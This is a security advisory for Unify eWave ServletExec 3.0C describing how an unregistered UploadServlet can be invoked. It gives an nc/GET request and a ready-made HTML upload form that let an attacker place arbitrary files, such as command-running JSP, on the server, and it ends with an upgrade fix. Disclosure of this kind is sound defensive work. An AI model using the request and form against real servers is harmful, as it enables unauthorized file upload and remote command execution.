COMMAND
ServletExec
SYSTEMS AFFECTED
Unify eWave ServletExec 3.0C
PROBLEM
Following is based on a Foundstone FS-103100-16-SRVX Security
Advisory by Shreeraj Shah, Saumil Shah and Stuart McClure.
Unify's eWave ServletExec is a JSP and a Java Servlet engine
which is used as a plug-in to popular web servers like Apache,
IIS, Netscape, etc.
ServletExec has a servlet called "UploadServlet" in its server
side classes. UploadServlet, when invokable, allows an attacker
to upload any file to any directory on the server. The uploaded
file may have code that can later be executed on the server,
leading to remote command execution.
ServletExec has com.unify.ewave.servletexec.UploadServlet residing
in its server side classes. Even though this servlet is not
registered, it can be invoked on the server side by the following
HTTP requests:
nc 10.0.0.1 80
GET /servlet/com.unify.ewave.servletexec.UploadServlet HTTP/1.0
or
http://10.0.0.1/servlet/com.unify.ewave.servletexec.UploadServlet
An attacker can create an HTML form on his or her local system
to use this servlet to upload arbitrary files on to the server.
A sample of such a form is given below:
<FORM METHOD=POST ENCTYPE='multipart/form-data' ACTION='http://10.0.0.1/servlet/com.unify.ewave.servletexec.UploadServlet'>
<P>
Upload Directory:
<INPUT TYPE=TEXT SIZE=35 Name=uploadDir>
<P>
File to Upload:
<INPUT TYPE=FILE SIZE=35 NAME=File1>
<P>
<INPUT TYPE=SUBMIT NAME="Upload Files" VALUE="Upload Files">
</FORM>
Using this upload form, an attacker can upload a file, for
example a JSP file, that can run arbitrary commands on the server
side.
SOLUTION
Upgrade to ServletExec version 3.0E, available at:
http://www.servletexec.com/downloads/